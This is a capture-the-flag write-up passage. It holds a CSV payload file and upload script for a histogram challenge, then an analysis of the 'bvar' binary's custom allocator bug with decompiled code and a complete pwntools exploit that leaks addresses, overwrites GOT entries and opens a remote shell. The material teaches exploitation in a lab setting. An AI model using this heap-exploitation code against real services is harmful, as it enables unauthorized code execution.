NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0

And code for submitting payload:

import requests
files = {"csv": open("pay.csv","rb")}
conn = requests.post("https://histogram.chal.acsc.asia/api/histogram", files=files, verify=False)
print conn.text

bvar

Create your own creations to win the shell!

Backup: nc 167.99.78.201 7777

nc 167.99.78.201 7777

Attached: bvar.tar.gz
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  size_t input_len; // rbx
  size_t v4; // rbx
  size_t v5; // rax
  size_t v6; // rax
  node_data *v7; // rax
  node *v8; // rax
  size_t v9; // rax
  size_t v10; // rax
  node_data *v11; // rax
  size_t v12; // rax
  size_t v13; // rax
  node_data *v14; // rax
  node *v15; // rax
  size_t v16; // rax
  size_t v17; // rax
  node *tmp_a; // [rsp+0h] [rbp-60h]
  node *tmp_b; // [rsp+0h] [rbp-60h]
  node *tmp_c; // [rsp+0h] [rbp-60h]
  node *tmp_d; // [rsp+0h] [rbp-60h]
  char *split; // [rsp+8h] [rbp-58h]
  node_data *n_data2; // [rsp+10h] [rbp-50h]
  node_data *n_data; // [rsp+10h] [rbp-50h]
  node *n_node2; // [rsp+18h] [rbp-48h]
  node *n_node; // [rsp+18h] [rbp-48h]
  char name[5]; // [rsp+22h] [rbp-3Eh] BYREF
  char data[9]; // [rsp+27h] [rbp-39h] BYREF
  char input[24]; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v30; // [rsp+48h] [rbp-18h]

  v30 = __readfsqword(0x28u);
  ctfset();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
main:
            memset(input, 0, sizeof(input));
            memset(data, 0, sizeof(data));
            memset(name, 0, sizeof(name));
            printf(">>> ");
            read(0, input, 0x10uLL);
            if ( input[strlen(input) - 1] == '\n' )
              input[strlen(input) - 1] = 0;
            split = strchr(input, '=');
            if ( !split )
              break;
            input_len = strlen(input);
            if ( input_len - strlen(split + 1) - 1 <= 4 )// name length
            {
              v4 = strlen(input);
              v5 = strlen(split + 1);
              strncpy(name, input, v4 - v5 - 1);
            }
            else
            {
              strncpy(name, input, 4uLL);       // max name == 4
            }
            if ( strlen(split + 1) <= 8 )       // value length
            {
              v6 = strlen(split + 1);
              strncpy(data, split + 1, v6);
            }
            else
            {
              strncpy(data, split + 1, 8uLL);   // max value == 8
            }
            if ( !head )                        // first assign
            {
              ((&c_malloc + 1))(12u);
              n_data2 = v7;
              ((&c_malloc + 1))(24u);
              n_node2 = v8;
              v8->data = n_data2;
              v8->next = 0LL;
              v8->prev = 0LL;
              v9 = strlen(name);
              strncpy(n_data2->name, name, v9);
              v10 = strlen(split + 1);
              strncpy(n_data2->data, split + 1, v10);
              head = n_node2;
              continue;
            }
            for ( tmp_a = head; ; tmp_a = tmp_a->next )
            {
              if ( !tmp_a )                     // if not exists
                goto main;
              if ( !strncmp(tmp_a->data->name, name, 4uLL) )
              {
                ((&c_malloc + 1))(12u);
                temp_memory = v11;
                tmp_a->data = v11;
                v12 = strlen(name);
                strncpy(temp_memory->name, name, v12);
                v13 = strlen(split + 1);
                strncpy(temp_memory->data, split + 1, v13);
                goto main;
              }
              if ( !tmp_a->next )
                break;
            }
            ((&c_malloc + 1))(12u);
            n_data = v14;
            ((&c_malloc + 1))(24u);
            n_node = v15;
            v15->data = n_data;
            v15->next = 0LL;
            v15->prev = 0LL;
            v16 = strlen(name);
            strncpy(n_data->name, name, v16);
            v17 = strlen(split + 1);
            strncpy(n_data->data, split + 1, v17);
            tmp_a->next = n_node;
            n_node->prev = tmp_a;
          }
          if ( strncmp("delete", input, 6uLL) )
            break;
          for ( tmp_b = head; ; tmp_b = tmp_b->next )
          {
            if ( !tmp_b )
              goto main;
            if ( !strncmp(tmp_b->data->name, &input[7], 4uLL) )
              break;
          }
          if ( tmp_b->prev )
            tmp_b->prev->next = tmp_b->next;
          if ( tmp_b->next )
            tmp_b->next->prev = tmp_b->prev;
          c_free(tmp_b->data);
          c_free(tmp_b);
          puts("delete!");
        }
        if ( strncmp("clear", input, 5uLL) )
          break;
        head = 0LL;
        puts("clear!");
      }
      if ( strncmp("edit", input, 4uLL) )
        break;
      for ( tmp_c = head; ; tmp_c = tmp_c->next )
      {
        if ( !tmp_c )
          goto main;
        if ( !strncmp(tmp_c->data->name, &input[5], 4uLL) )// edit input
          break;
      }
      read(0, name, 5uLL);
      if ( name[strlen(name) - 1] == 10 )
        name[strlen(name) - 1] = 0;
      strncpy(tmp_c->data->name, name, 4uLL);
    }
    for ( tmp_d = head; ; tmp_d = tmp_d->next ) // print variable
    {
      if ( !tmp_d )                             // if not exists
        goto main;
      if ( !strncmp(tmp_d->data->name, input, 4uLL) )
        break;
    }
    puts(tmp_d->data->data);
  }
}

The author provided custom malloc which is called by c_malloc. So, the layout and behavior for the malloc is unique. And also we can realize that we can free multiple times on head. I guess we can control the layout and get some leakage and arbitrary write at GOT.

Analyze and Debug

>>> a=a
>>> b=b
freelist = []

-head- == 0x555555557508
data: 0x0000555555557594 == a
next: null
prev: null

-data1(a)- == 0x0000555555557594
data: 0x0000555555557584 == "a"
next: 0x00005555555575c0
prev: null

-data2(b)- == 0x00005555555575c0
data: 0x00005555555575b0 == "b"
next: null
prev: 0x0000555555557594

and now, Let's delete b.

freelist = [0x00005555555575b0, 0x00005555555575c0]

-head- == 0x555555557508
data: 0x0000555555557594 == a
next: null
prev: null

-data1(a)- == 0x0000555555557594
data: 0x0000555555557584 == "a"
next: null
prev: null

-data2(b)- == 0x00005555555575c0
data: 0x00005555555575b0 == "b"
next: null
prev: 0x0000555555557594

and assign c

freelist = []

-head- == 0x555555557508
data: 0x0000555555557594 == data1
next: null
prev: null

-data1(a)- == 0x0000555555557594
data: 0x0000555555557584 == "a"
next: 0x00005555555575b0
prev: null

-data2(b)- == 0x00005555555575c0
data: 0x00005555555575b0 == c
next: null
prev: 0x0000555555557594

-data3(c)- == 0x00005555555575b0
data: 0x00005555555575c0 == b
next: null
prev: 0x0000555555557594 == data1

The heap layout is quite strange right now. The layout of heap is head => a => c but c->data points data2. and data2 has address of c. So, if we try to get value from c we will get the heap address of c.

Order matter(Last-In-First-Out)

Let's see the code of delete part.

if ( strncmp("delete", input, 6uLL) )
    break;
for ( tmp_b = head; ; tmp_b = tmp_b->next )
{
    if ( !tmp_b )
        goto main;
    if ( !strncmp(tmp_b->data->name, &input[7], 4uLL) )
        break;
}
if ( tmp_b->prev )
    tmp_b->prev->next = tmp_b->next;
if ( tmp_b->next )
    tmp_b->next->prev = tmp_b->prev;
c_free(tmp_b->data);
c_free(tmp_b);
puts("delete!");

The code is doing c_free with order c_free(tmp_b->data), c_free(tmp_b).

node *__fastcall c_free(node *a1)
{
  node *result; // rax
  int idx; // eax
  __int64 free_idx_ptr; // rcx

  result = free_head;
  if ( free_head != 10 )
  {
    idx = free_head++;
    free_idx_ptr = 8LL * idx;
    result = a1;
    *(&head + free_idx_ptr + 24) = a1;          // free_list = ptr
  }
  return result;
}

In c_free, it records the c_free'd address. So, the free_list will be like [tmp_b->data, tmp_b].

Let's see the c_malloc code.

void __fastcall c_malloc(unsigned int size)
{
  unsigned int v1; // [rsp-1Ch] [rbp-24h]

  v1 = size;
  if ( size <= 3 )
    v1 = 4;
  if ( c_size + v1 + 4 > 0x3E7 )
  {
    puts("No Space :(");
    exit(1);
  }
  if ( free_head )
  {
    --free_head;
  }
  else
  {
    *(&c_memory + c_size) = v1 + 4;
    c_size += v1 + 4;
  }
}

My IDA interpreted little wrong I think. So, I checked and I found this.

.text:0000000000001358                 lea     rdx, ds:0[rax*8]
.text:0000000000001360                 lea     rax, head+18h
.text:0000000000001367                 mov     rax, [rdx+rax]

c_malloc returns the last freed address from free_list. (If length of free_list is not zero) Okay, Let's see the part of assigning variable.

((&c_malloc + 1))(12u);
n_data = v14;       // 0x00005555555575c0 (address of b)
((&c_malloc + 1))(24u);
n_node = v15;       // 0x00005555555575b0 (address of b->data)
v15->data = n_data; // b->data->data = address of b
v15->next = 0LL;    // b->data->next = null
v15->prev = 0LL;    // b->data->prev = null
v16 = strlen(name);
strncpy(n_data->name, name, v16); // b->name = name
v17 = strlen(split + 1);        
strncpy(n_data->data, split + 1, v17); // b->data = data
tmp_a->next = n_node; // last_node->next = b->data
n_node->prev = tmp_a; // b->data->prev = last_node

Let's see the comment that I wrote above. The address for node->data and node is exchanged because of LIFO. This is the reason why the heap layout looked strange. Also, b->data->data has address of b. So, We can leak and exploit by abusing this bug.

Payload

from pwn import *
from binascii import hexlify
from time import sleep

__libc_start_main_got = 0x0000000000003478
puts_got = 0x0000000000003428
system_off = 0x55410

def assign(name, value):
    p.recvuntil(b">>> ")
    p.send(b"%s=%s"%(name,value))

def delete(name):
    p.recvuntil(b">>> ")
    p.send(b"delete %s"%name)

def clear():
    p.recvuntil(b">>> ")
    p.send(b"clear")

def edit(name, new):
    p.recvuntil(b">>> ")
    p.send(b"edit %s"%(name))
    sleep(0.2)
    p.send(new)

def view(name):
    p.recvuntil(b">>> ")
    p.send(name)

if __name__ == "__main__":
    #p = remote('167.99.78.201', 7777)
    #p = process(b"./bvar")
    p = remote("35.194.119.116",7777)

    assign(b"a",b"a")
    assign(b"b",b"b")
    delete(b"b")
    assign(b"c",b"c")

    view(b"c")
    leak = int(hexlify(p.recvline()[:-1][::-1]),16) - 0x3594 # pie base
    print(hex(leak))

    clear()

    assign(b"a",p64(leak+__libc_start_main_got))

    clear()

    assign(b"a",b"a")
    delete(b"a")
    assign(b"b",b"b")
    edit(p64(leak+0x3608)[:4],p64(leak+0x35dc)[:4])
    view(b"\n")

    libc = int(hexlify(p.recvline()[:-1][::-1]),16)
    libc -= 0x0000000000026fc0
    system = libc + system_off
    print(hex(libc))

    clear()

    assign(b'a',b'a')
    assign(b'b',p64(leak+puts_got))
    delete(b'a')
    assign(p64(leak + 0x3660)[:4],b'a')
    edit(p64(libc + 0x18b660)[:4],p64(system)[:4])
    view(b"/bin/sh")

    p.interactive()
컨텐츠 처음으로 돌아가기